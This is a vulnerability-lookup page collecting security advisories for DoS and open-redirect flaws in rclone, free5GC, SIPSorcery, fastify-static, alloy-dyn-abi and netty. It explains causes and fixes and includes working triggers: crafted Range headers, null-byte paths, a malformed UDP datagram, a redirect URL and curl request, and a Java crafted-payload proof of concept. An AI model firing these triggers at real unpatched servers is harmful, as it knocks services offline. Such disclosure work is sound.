Vulnerability-Lookup

GHSA-P6M2-R3W9-MPXW

Vulnerability from github – Published: 2026-09-10 22:49 – Updated: 2026-09-10 22:49

Summary

rclone local: crafted Range request against a translated symlink panics (DoS)

Details

Summary

When backend/local is used with --links/-l (or the links=true config option), each symlink is exposed as an rclone object whose content is the target path string, suffixed .rclonelink. Object.Open() decodes an incoming fs.RangeOption via Decode(o.Size()), then for a translated-symlink object passes the decoded offset straight into openTranslatedLink, which indexes the target string directly: linkdst[offset:].

RangeOption.Decode's Start >= 0 branch (an ordinary Range: bytes=X- request) sets offset = o.Start with no upper bound, unlike its suffix-range branch (Start < 0, e.g. bytes=-N), which already clamps a too-large value to 0 - the fix for a prior, related crash (issue #6310: "bytes=-90407" against a 5-byte object panicked with "slice bounds out of range", now covered by an existing regression test). The Start >= 0 branch never received the analogous protection.

A Range: bytes=<hugeStart>- request sent to rclone serve http/webdav (or any consumer of lib/http/serve's Object(), which parses and decodes the client's own Range header) against a directory containing a symlink therefore reaches linkdst[offset:] with offset far beyond the target string's length, and Go panics with "slice bounds out of range" instead of returning an empty read.

Details

Vulnerable code (before fix):

func (o *Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {
    linkdst, err := os.Readlink(o.path)
    if err != nil { return nil, err }
    return readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil
}

PoC

Called the real production Object.Open() on a translated-symlink object (target length 12) with &fs.RangeOption{Start: math.MaxInt64, End: -1}:

panic: runtime error: slice bounds out of range [9223372036854775807:8]
  ...backend/local.(*Object).openTranslatedLink
  ...backend/local.(*Object).Open

Impact

A remote client can send a single crafted Range header against any symlink-backed object exposed by rclone serve http/webdav/etc (backed by backend/local with --links enabled) to deterministically panic the request-handling goroutine. Go's net/http recovers panics per-connection by default, so this fails the one request/connection rather than crashing the whole server process, and no file handle is left open (the panic occurs before any read handle is acquired) - but it is fully deterministic and remotely triggerable with no authentication or race window needed, unlike some other panic-recovery findings.

Fix

Clamp offset to the length of the target string before slicing, matching how a real file read past EOF behaves (an empty read):

if offset > int64(len(linkdst)) {
    offset = int64(len(linkdst))
}

Note: the shared RangeOption.Decode() also has a related, unaddressed issue - limit = o.End - o.Start + 1 can itself overflow to a large negative number for a huge End - but a fix attempted there during this investigation broke fs/operations/reopen.go's NewReOpen, which calls Decode with its h.end field still at its zero value at that point in construction. Flagged for awareness but not changed here to keep this patch minimal and low-risk.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.75.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.75.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:49:27Z",
    "nvd_published_at": "2026-09-10T16:18:08Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen `backend/local` is used with `--links`/`-l` (or the `links=true` config option), each symlink is exposed as an rclone object whose content is the target path string, suffixed `.rclonelink`. `Object.Open()` decodes an incoming `fs.RangeOption` via `Decode(o.Size())`, then for a translated-symlink object passes the decoded `offset` straight into `openTranslatedLink`, which indexes the target string directly: `linkdst[offset:]`.\n\n`RangeOption.Decode`\u0027s `Start \u003e= 0` branch (an ordinary `Range: bytes=X-` request) sets `offset = o.Start` with no upper bound, unlike its suffix-range branch (`Start \u003c 0`, e.g. `bytes=-N`), which already clamps a too-large value to 0 - the fix for a prior, related crash (issue #6310: \"bytes=-90407\" against a 5-byte object panicked with \"slice bounds out of range\", now covered by an existing regression test). The `Start \u003e= 0` branch never received the analogous protection.\n\nA `Range: bytes=\u003chugeStart\u003e-` request sent to `rclone serve http`/`webdav` (or any consumer of `lib/http/serve`\u0027s `Object()`, which parses and decodes the client\u0027s own Range header) against a directory containing a symlink therefore reaches `linkdst[offset:]` with offset far beyond the target string\u0027s length, and Go panics with \"slice bounds out of range\" instead of returning an empty read.\n\n### Details\nVulnerable code (before fix):\n```go\nfunc (o *Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {\n\tlinkdst, err := os.Readlink(o.path)\n\tif err != nil { return nil, err }\n\treturn readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil\n}\n```\n\n### PoC\nCalled the real production `Object.Open()` on a translated-symlink object (target length 12) with `\u0026fs.RangeOption{Start: math.MaxInt64, End: -1}`:\n```\npanic: runtime error: slice bounds out of range [9223372036854775807:8]\n  ...backend/local.(*Object).openTranslatedLink\n  ...backend/local.(*Object).Open\n```\n\n### Impact\nA remote client can send a single crafted `Range` header against any symlink-backed object exposed by `rclone serve http`/`webdav`/etc (backed by `backend/local` with `--links` enabled) to deterministically panic the request-handling goroutine. Go\u0027s `net/http` recovers panics per-connection by default, so this fails the one request/connection rather than crashing the whole server process, and no file handle is left open (the panic occurs before any read handle is acquired) - but it is fully deterministic and remotely triggerable with no authentication or race window needed, unlike some other panic-recovery findings.\n\n### Fix\nClamp `offset` to the length of the target string before slicing, matching how a real file read past EOF behaves (an empty read):\n```go\nif offset \u003e int64(len(linkdst)) {\n\toffset = int64(len(linkdst))\n}\n```\nNote: the shared `RangeOption.Decode()` also has a related, unaddressed issue - `limit = o.End - o.Start + 1` can itself overflow to a large negative number for a huge `End` - but a fix attempted there during this investigation broke `fs/operations/reopen.go`\u0027s `NewReOpen`, which calls `Decode` with its `h.end` field still at its zero value at that point in construction. Flagged for awareness but not changed here to keep this patch minimal and low-risk.",
  "id": "GHSA-p6m2-r3w9-mpxw",
  "modified": "2026-09-10T22:49:27Z",
  "published": "2026-09-10T22:49:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-p6m2-r3w9-mpxw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88015"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/28bf49d66f94acc3f4f7f318504a706686281af9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone local: crafted Range request against a translated symlink panics (DoS)"
}

GHSA-P9HG-PQ3Q-V9GV

Vulnerability from github – Published: 2026-03-18 20:11 – Updated: 2026-03-20 21:24

Summary

free5GC UDM vulnerable to null byte injection in URL path parameters causing 500 Internal Server Error

Details

Impact
This is an Improper Input Validation vulnerability with Denial of Service and Injection implications.
- Security Impact: A remote attacker can inject null bytes (URL-encoded as %00) into the supi path parameter of the UDM's Nudm_SubscriberDataManagement API. This causes URL parsing failure in Go's net/url package with the error "invalid control character in URL", resulting in a 500 Internal Server Error. This null byte injection vulnerability can be exploited for denial of service attacks.
- Functional Impact: When the supi parameter contains null characters, the UDM attempts to construct a URL for UDR that includes these control characters. Go's URL parser rejects them, causing the request to fail with 500 instead of properly validating input and returning 400 Bad Request.
- Affected Parties: All deployments of free5GC v4.0.1 using the UDM Nudm_SDM service with endpoints that include path parameters (e.g., /nudm-sdm/v2/{supi}/am-data).

Patches
Yes, the issue has been patched.
The fix is implemented in PR free5gc/udm#79.
Users should upgrade to the next release of free5GC that includes this commit.

Workarounds
There is no direct workaround at the application level. The recommendation is to apply the provided patch or implement API gateway-level validation to reject requests containing null bytes in path parameters before they reach UDM.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-158",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:11:15Z",
    "nvd_published_at": "2026-03-20T08:16:12Z",
    "severity": "HIGH"
  },
  "details": "**Impact**  \nThis is an Improper Input Validation vulnerability with Denial of Service and Injection implications.  \n- **Security Impact**: A remote attacker can inject null bytes (URL-encoded as `%00`) into the `supi` path parameter of the UDM\u0027s Nudm_SubscriberDataManagement API. This causes URL parsing failure in Go\u0027s `net/url` package with the error \"invalid control character in URL\", resulting in a 500 Internal Server Error. This null byte injection vulnerability can be exploited for denial of service attacks.  \n- **Functional Impact**: When the `supi` parameter contains null characters, the UDM attempts to construct a URL for UDR that includes these control characters. Go\u0027s URL parser rejects them, causing the request to fail with 500 instead of properly validating input and returning 400 Bad Request.  \n- **Affected Parties**: All deployments of free5GC v4.0.1 using the UDM Nudm_SDM service with endpoints that include path parameters (e.g., `/nudm-sdm/v2/{supi}/am-data`).\n\n**Patches**  \nYes, the issue has been patched.  \nThe fix is implemented in PR free5gc/udm#79.  \nUsers should upgrade to the next release of free5GC that includes this commit.\n\n**Workarounds**  \nThere is no direct workaround at the application level. The recommendation is to apply the provided patch or implement API gateway-level validation to reject requests containing null bytes in path parameters before they reach UDM.",
  "id": "GHSA-p9hg-pq3q-v9gv",
  "modified": "2026-03-20T21:24:27Z",
  "published": "2026-03-18T20:11:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-p9hg-pq3q-v9gv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udm/pull/79"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udm/commit/88de9fa74a1b3f3522e53b4cfa2d184712ffa4ee"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/udm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5GC UDM vulnerable to null byte injection in URL path parameters causing 500 Internal Server Error"
}

GHSA-PFVM-W89X-94JW

Vulnerability from github – Published: 2026-08-12 19:31 – Updated: 2026-08-12 19:31

Summary

SIPSorcery: Malformed UDP datagram crashes TurnServer receive loop with no restart, disabling TURN UDP relay for all clients (DoS)

Details

Summary

TurnServer.ReceiveUdpAsync places its generic catch (Exception) OUTSIDE the while receive loop, and Start() launches the loop fire-and-forget with no supervision or restart. A single pre-authentication UDP datagram whose STUN header first byte is in 0x80–0xFF causes STUNHeader.ParseSTUNHeader to throw ApplicationException, which unwinds past the loop and terminates it. The TURN UDP relay is then dead for ALL clients until the process is restarted.

Root Cause

src/SIPSorcery/net/TURN/TurnServer.cs: - ReceiveUdpAsync (:555-577): the inner try (:562-567) wraps only _udpSocket.ReceiveAsync(); HandleUdpDatagram(result.Buffer, result.RemoteEndPoint) (:569) is inside the while body but OUTSIDE that inner try. The generic catch (Exception ex) (:573) is lexically OUTSIDE the while. - Start() does _ = ReceiveUdpAsync(); (:381) — fire-and-forget, no restart. - HandleUdpDatagram (:579) calls STUNMessage.ParseSTUNMessage(data, data.Length) (:600) for any non-ChannelData datagram; ParseSTUNMessage (STUNMessage.cs:94) has no try/catch.

Impact

ApplicationException propagates out of the while, is caught at :573, logged, and the method returns. _running remains true but nothing re-invokes ReceiveUdpAsync → TURN UDP relay permanently unavailable for all clients (whole-server DoS). Pre-authentication: STUN parsing precedes any TURN allocation/credential check.

Proof of Concept

Send one UDP datagram to the TURN port (default 3478) with first byte 0x80 (e.g. 80 00 00 00). 0x80 & 0xC0 = 0x80 ≠ 0x40 → not ChannelData → ParseSTUNMessage → ParseSTUNHeader executes if ((Array[startIndex] & 0xC0) != 0) throw new ApplicationException(...) (STUNHeader.cs:169-172); 0x80 & 0xC0 = 0x80 ≠ 0 → throws.

Attack Chain

Entry: one UDP datagram to the TURN port, first byte 0x80–0xFF. Guard: ChannelData branch requires (data[0] & 0xC0) == 0x40 (:583). Bypass: 0x80 & 0xC0 = 0x80 ≠ 0x40 → falls through to ParseSTUNMessage (:600).
Sink: STUNMessage.ParseSTUNMessage → STUNHeader.ParseSTUNHeader (STUNHeader.cs:169-172) throws ApplicationException. Guard: none before the throw; ParseSTUNMessage has no try/catch. Bypass: 0x80 & 0xC0 = 0x80 ≠ 0 → throws.
Impact: exception unwinds past the while into catch(Exception) at :573 → logged → method returns → loop exits. Guard: none — no restart (Start() :381 fire-and-forget). Bypass: N/A. TURN UDP relay dead for all clients until process restart.

Bypass Evidence

Loop/catch structure: catch at TurnServer.cs:573 is outside the while at :559; HandleUdpDatagram at :569 is outside the inner try (:562-567).
Unguarded ParseSTUNMessage at :600; throw at STUNHeader.cs:169-172.
Fire-and-forget start at :381 with no restart in Start().
TurnServerConfig.ListenAddress defaults to IPAddress.Loopback (:42), but a functioning TURN server must bind a routable address to serve clients, so real deployments are exposed. Non-default config narrows the vulnerable population, not the attack difficulty → AC:L.

Affected Versions

nuget:SIPSorcery <= 10.0.13 (TurnServer component present since 10.0.5; verified on release tag v10.0.13 and HEAD).

Dedup

NOT a duplicate of GHSA-28gm-jrmw-xx93 (CVE-2026-54632), which covers the client RTP/ICE socket (UdpReceiver/RTPChannel). TurnServer is a distinct shipped RFC 5766 server component with its own loop and fix location.

Suggested Fix

Wrap HandleUdpDatagram in a per-datagram try/log-and-continue INSIDE the while (matching the drop-and-continue intent of fix bdb76cb), and/or add loop supervision/restart.

Reported by zx (Jace) — GitHub: @manus-use

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.13"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "SIPSorcery"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.5"
            },
            {
              "fixed": "10.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T19:31:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`TurnServer.ReceiveUdpAsync` places its generic `catch (Exception)` OUTSIDE the `while` receive loop, and `Start()` launches the loop fire-and-forget with no supervision or restart. A single pre-authentication UDP datagram whose STUN header first byte is in `0x80\u20130xFF` causes `STUNHeader.ParseSTUNHeader` to throw `ApplicationException`, which unwinds past the loop and terminates it. The TURN UDP relay is then dead for ALL clients until the process is restarted.\n\n## Root Cause\n`src/SIPSorcery/net/TURN/TurnServer.cs`:\n- `ReceiveUdpAsync` (:555-577): the inner `try` (:562-567) wraps only `_udpSocket.ReceiveAsync()`; `HandleUdpDatagram(result.Buffer, result.RemoteEndPoint)` (:569) is inside the `while` body but OUTSIDE that inner try. The generic `catch (Exception ex)` (:573) is lexically OUTSIDE the `while`.\n- `Start()` does `_ = ReceiveUdpAsync();` (:381) \u2014 fire-and-forget, no restart.\n- `HandleUdpDatagram` (:579) calls `STUNMessage.ParseSTUNMessage(data, data.Length)` (:600) for any non-ChannelData datagram; `ParseSTUNMessage` (STUNMessage.cs:94) has no try/catch.\n\n## Impact\n`ApplicationException` propagates out of the `while`, is caught at :573, logged, and the method returns. `_running` remains true but nothing re-invokes `ReceiveUdpAsync` \u2192 TURN UDP relay permanently unavailable for all clients (whole-server DoS). Pre-authentication: STUN parsing precedes any TURN allocation/credential check.\n\n## Proof of Concept\nSend one UDP datagram to the TURN port (default 3478) with first byte `0x80` (e.g. `80 00 00 00`). `0x80 \u0026 0xC0 = 0x80 \u2260 0x40` \u2192 not ChannelData \u2192 `ParseSTUNMessage` \u2192 `ParseSTUNHeader` executes `if ((Array[startIndex] \u0026 0xC0) != 0) throw new ApplicationException(...)` (STUNHeader.cs:169-172); `0x80 \u0026 0xC0 = 0x80 \u2260 0` \u2192 throws.\n\n## Attack Chain\n1. Entry: one UDP datagram to the TURN port, first byte `0x80\u20130xFF`. Guard: ChannelData branch requires `(data[0] \u0026 0xC0) == 0x40` (:583). Bypass: `0x80 \u0026 0xC0 = 0x80 \u2260 0x40` \u2192 falls through to `ParseSTUNMessage` (:600).\n2. Sink: `STUNMessage.ParseSTUNMessage` \u2192 `STUNHeader.ParseSTUNHeader` (STUNHeader.cs:169-172) throws `ApplicationException`. Guard: none before the throw; `ParseSTUNMessage` has no try/catch. Bypass: `0x80 \u0026 0xC0 = 0x80 \u2260 0` \u2192 throws.\n3. Impact: exception unwinds past the `while` into `catch(Exception)` at :573 \u2192 logged \u2192 method returns \u2192 loop exits. Guard: none \u2014 no restart (`Start()` :381 fire-and-forget). Bypass: N/A. TURN UDP relay dead for all clients until process restart.\n\n## Bypass Evidence\n- Loop/catch structure: catch at TurnServer.cs:573 is outside the `while` at :559; `HandleUdpDatagram` at :569 is outside the inner try (:562-567).\n- Unguarded `ParseSTUNMessage` at :600; throw at STUNHeader.cs:169-172.\n- Fire-and-forget start at :381 with no restart in `Start()`.\n- `TurnServerConfig.ListenAddress` defaults to `IPAddress.Loopback` (:42), but a functioning TURN server must bind a routable address to serve clients, so real deployments are exposed. Non-default config narrows the vulnerable population, not the attack difficulty \u2192 AC:L.\n\n## Affected Versions\n`nuget:SIPSorcery \u003c= 10.0.13` (TurnServer component present since 10.0.5; verified on release tag v10.0.13 and HEAD).\n\n## Dedup\nNOT a duplicate of GHSA-28gm-jrmw-xx93 (CVE-2026-54632), which covers the client RTP/ICE socket (`UdpReceiver`/`RTPChannel`). `TurnServer` is a distinct shipped RFC 5766 server component with its own loop and fix location.\n\n## Suggested Fix\nWrap `HandleUdpDatagram` in a per-datagram try/log-and-continue INSIDE the `while` (matching the drop-and-continue intent of fix bdb76cb), and/or add loop supervision/restart.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
  "id": "GHSA-pfvm-w89x-94jw",
  "modified": "2026-08-12T19:31:48Z",
  "published": "2026-08-12T19:31:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sipsorcery-org/sipsorcery/security/advisories/GHSA-pfvm-w89x-94jw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sipsorcery-org/sipsorcery/commit/ccb0b5a845efa2fb131fd00de4f5321bae627f29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sipsorcery-org/sipsorcery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SIPSorcery: Malformed UDP datagram crashes TurnServer receive loop with no restart, disabling TURN UDP relay for all clients (DoS)"
}

GHSA-PGH6-M65R-2RHQ

Vulnerability from github – Published: 2021-10-12 16:04 – Updated: 2021-10-21 14:57

Summary

DOS and Open Redirect with user input

Details

Impact

A redirect vulnerability in the fastify-static module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash // followed by a domain: http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e.

A DOS vulnerability is possible if the URL contains invalid characters curl --path-as-is "http://localhost:3000//^/.."

The issue shows up on all the fastify-static applications that set redirect: true option. By default, it is false.

Patches

The issue has been patched in fastify-static@4.4.1

Workarounds

If updating is not an option, you can sanitize the input URLs using the rewriteUrl server option.

References

Bug founder: drstrnegth
hackerone Report

For more information

If you have any questions or comments about this advisory: * Open an issue in fastify-static * Contact the security team

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fastify-static"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.4"
            },
            {
              "fixed": "4.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-22964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-11T18:38:24Z",
    "nvd_published_at": "2021-10-14T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e`.\n\nA DOS vulnerability is possible if the URL contains invalid characters `curl --path-as-is \"http://localhost:3000//^/..\"`\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.4.1`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1361804)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)\n",
  "id": "GHSA-pgh6-m65r-2rhq",
  "modified": "2021-10-21T14:57:14Z",
  "published": "2021-10-12T16:04:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-static/security/advisories/GHSA-pgh6-m65r-2rhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22964"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-static/commit/c31f17d107cb19a0e96733c80a9abf16c56166d4"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1361804"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-static"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOS and Open Redirect with user input"
}

GHSA-PGP9-98JM-WWQ2

Vulnerability from github – Published: 2025-10-15 17:27 – Updated: 2025-10-15 19:14

Summary

alloy-dyn-abi has DoS vulnerability on `alloy_dyn_abi::TypedData` hashing

Details

Impact

An uncaught panic triggered by malformed input to alloy_dyn_abi::TypedData could lead to a denial-of-service (DoS) via eip712_signing_hash().

Software with high availability requirements such as network services may be particularly impacted. If in use, external auto-restarting mechanisms can partially mitigate the availability issues unless repeated attacks are possible.

Patches

The vulnerability was patched by adding a check to ensure the element is not empty before accessing its first element; an error is returned if it is empty. The fix is included in version v1.4.1 and backported to v0.8.26.

Workarounds

There is no known workaround that mitigates the vulnerability. Upgrading to a patched version is the recommended course of action.

Reported by

Christian Reitter & Zeke Mostov from Turnkey

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "alloy-dyn-abi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "alloy-dyn-abi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T17:27:12Z",
    "nvd_published_at": "2025-10-15T16:15:36Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAn uncaught panic triggered by malformed input to `alloy_dyn_abi::TypedData` could lead to a denial-of-service (DoS) via `eip712_signing_hash()`.\n\nSoftware with high availability requirements such as network services may be particularly impacted. If in use, external auto-restarting mechanisms can partially mitigate the availability issues unless repeated attacks are possible.\n\n### Patches\n\nThe vulnerability was patched by adding a check to ensure the element is not empty before accessing its first element; an error is returned if it is empty. The fix is included in version [`v1.4.1`](https://crates.io/crates/alloy-dyn-abi/1.4.1) and backported to [`v0.8.26`](https://crates.io/crates/alloy-dyn-abi/0.8.26).\n\n### Workarounds\n\nThere is no known workaround that mitigates the vulnerability. Upgrading to a patched version is the recommended course of action.\n\n### Reported by\n\nChristian Reitter \u0026 Zeke Mostov from [Turnkey](https://www.turnkey.com/)",
  "id": "GHSA-pgp9-98jm-wwq2",
  "modified": "2025-10-15T19:14:37Z",
  "published": "2025-10-15T17:27:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alloy-rs/core/security/advisories/GHSA-pgp9-98jm-wwq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alloy-rs/core/commit/7823e9af8c20e9fcfb5360f5eafd891c457ebccf"
    },
    {
      "type": "WEB",
      "url": "https://crates.io/crates/alloy-dyn-abi/0.8.26"
    },
    {
      "type": "WEB",
      "url": "https://crates.io/crates/alloy-dyn-abi/1.4.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alloy-rs/core"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2025-0073.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "alloy-dyn-abi has DoS vulnerability on `alloy_dyn_abi::TypedData` hashing"
}

GHSA-PGRF-4654-3GQ8

Vulnerability from github – Published: 2026-08-20 18:43 – Updated: 2026-08-20 18:43

Summary

netty-incubator-codec-ohttp: Binary HTTP parser unchecked varint length overflow causes decoder crash

Details

Summary

io.netty.incubator:netty-incubator-codec-bhttp uses attacker-controlled Binary HTTP variable-length integers as long values but accumulates them into int offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked ArrayIndexOutOfBoundsException / IndexOutOfBoundsException from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose BinaryHttpParser / BinaryHttpDecoder to untrusted input.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, several parser paths store cumulative byte offsets in int sumBytes and then add attacker-controlled long lengths using compound assignment. In Java, int += long narrows the result back to int, so a length such as 2^31 wraps sumBytes negative.

Primary request-control-data path:

readRequestHead(...) declares int sumBytes = 0 at BinaryHttpParser.java:386.
It reads methodLength as a long at BinaryHttpParser.java:394.
It performs sumBytes += methodLength at BinaryHttpParser.java:395, narrowing the result to int.
If methodLength is 2^31, sumBytes wraps negative and bypasses if (sumBytes >= in.readableBytes()) return null at BinaryHttpParser.java:396-398.
The parser then computes schemeLengthIdx = in.readerIndex() + sumBytes and calls in.getByte(schemeLengthIdx) at BinaryHttpParser.java:401-402, producing a negative index exception.

The same pattern is present in header parsing:

readFieldLine(...) uses int sumBytes and adds long nameLength / long valueLength at BinaryHttpParser.java:659-680.
valueLengthIdx = nameIdx + (int) nameLength at BinaryHttpParser.java:674 can also overflow.

getIndeterminateLength(...) similarly uses int sumBytes and long possibleTerminator at BinaryHttpParser.java:544-553.

Proof of concept

Safe local verification performed in this repository. After compiling codec-bhttp, the following minimal verifier uses a 15-byte payload:

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;

public final class VerifyBhttpOverflow {
  public static void main(String[] args) {
    byte[] payload = new byte[] {
      0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00,
      0x47, 0x45, 0x54, 0x58, 0x58, 0x58
    };
    ByteBuf input = Unpooled.wrappedBuffer(payload);
    try {
      new BinaryHttpParser(8192).parse(input, false);
      System.out.println("returned");
    } catch (Throwable t) {
      System.out.println(t.getClass().getName());
      System.out.println(t.getMessage());
    }
  }
}

Payload interpretation:

00: known-length request frame indicator.
c000000080000000: valid 8-byte varint encoding of 0x80000000 (2^31) as the method length.
474554585858: a few dummy bytes so the parser proceeds far enough to compute the next index.

Observed result:

java.lang.ArrayIndexOutOfBoundsException
Index -2147483639 out of bounds for length 15

The parser should reject the malformed/incomplete message with a controlled decoder exception or return null awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.

Impact

A remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.

Suggested remediation

Use long for all cumulative byte counts derived from protocol lengths.
